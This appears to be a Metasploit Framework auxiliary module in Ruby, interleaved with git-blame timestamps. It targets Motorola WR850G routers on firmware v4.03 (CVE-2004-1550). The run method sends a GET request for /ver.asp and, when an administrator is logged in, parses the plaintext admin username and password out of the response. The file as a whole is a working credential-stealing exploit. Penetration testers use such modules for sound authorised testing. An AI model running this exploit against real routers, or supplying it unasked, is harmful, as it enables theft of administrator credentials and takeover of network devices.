2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
|
2008-10-06 13:16:08 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-07-01 23:33:07 +00:00
|
|
|
super(update_info(info,
|
2008-10-06 13:16:08 +00:00
|
|
|
'Name' => 'Motorola WR850G v4.03 Credentials',
|
|
|
|
'Description' => %q{
|
2010-05-03 17:13:09 +00:00
|
|
|
Login credentials to the Motorola WR850G router with
|
2008-10-06 13:16:08 +00:00
|
|
|
firmware v4.03 can be obtained via a simple GET request
|
|
|
|
if issued while the administrator is logged in. A lot
|
|
|
|
more information is available through this request, but
|
|
|
|
you can get it all and more after logging in.
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-10-06 13:16:08 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2009-03-30 01:01:30 +00:00
|
|
|
'References' => [
|
2010-02-17 17:07:54 +00:00
|
|
|
[ 'CVE', '2004-1550' ],
|
|
|
|
[ 'OSVDB', '10232' ],
|
|
|
|
[ 'URL', 'http://seclists.org/bugtraq/2004/Sep/0339.html'],
|
2009-03-30 01:01:30 +00:00
|
|
|
],
|
2008-10-06 13:16:08 +00:00
|
|
|
'DisclosureDate' => 'Sep 24 2004'))
|
|
|
|
|
2009-03-30 01:01:30 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(80)
|
|
|
|
])
|
2008-10-06 13:16:08 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
sock.put("GET /ver.asp HTTP/1.0\r\n\r\n")
|
2009-11-25 02:01:27 +00:00
|
|
|
response = sock.get_once
|
2008-10-06 13:16:08 +00:00
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if response.nil? or response.empty?
|
|
|
|
print_status("No response from server")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# 302 Redirect
|
|
|
|
if response.split(/\r\n/)[0] !~ /200 Ok/
|
|
|
|
print_status("Administrator not logged in")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
user = $1 if response.match("http_username=([^\n]*)<br>")
|
|
|
|
pass = $1 if response.match("http_passwd=([^\n]*)<br>")
|
|
|
|
|
|
|
|
print_status("Found username \"#{user}\" and password \"#{pass}\"") if user and pass
|
|
|
|
end
|
2008-12-20 21:53:17 +00:00
|
|
|
end
|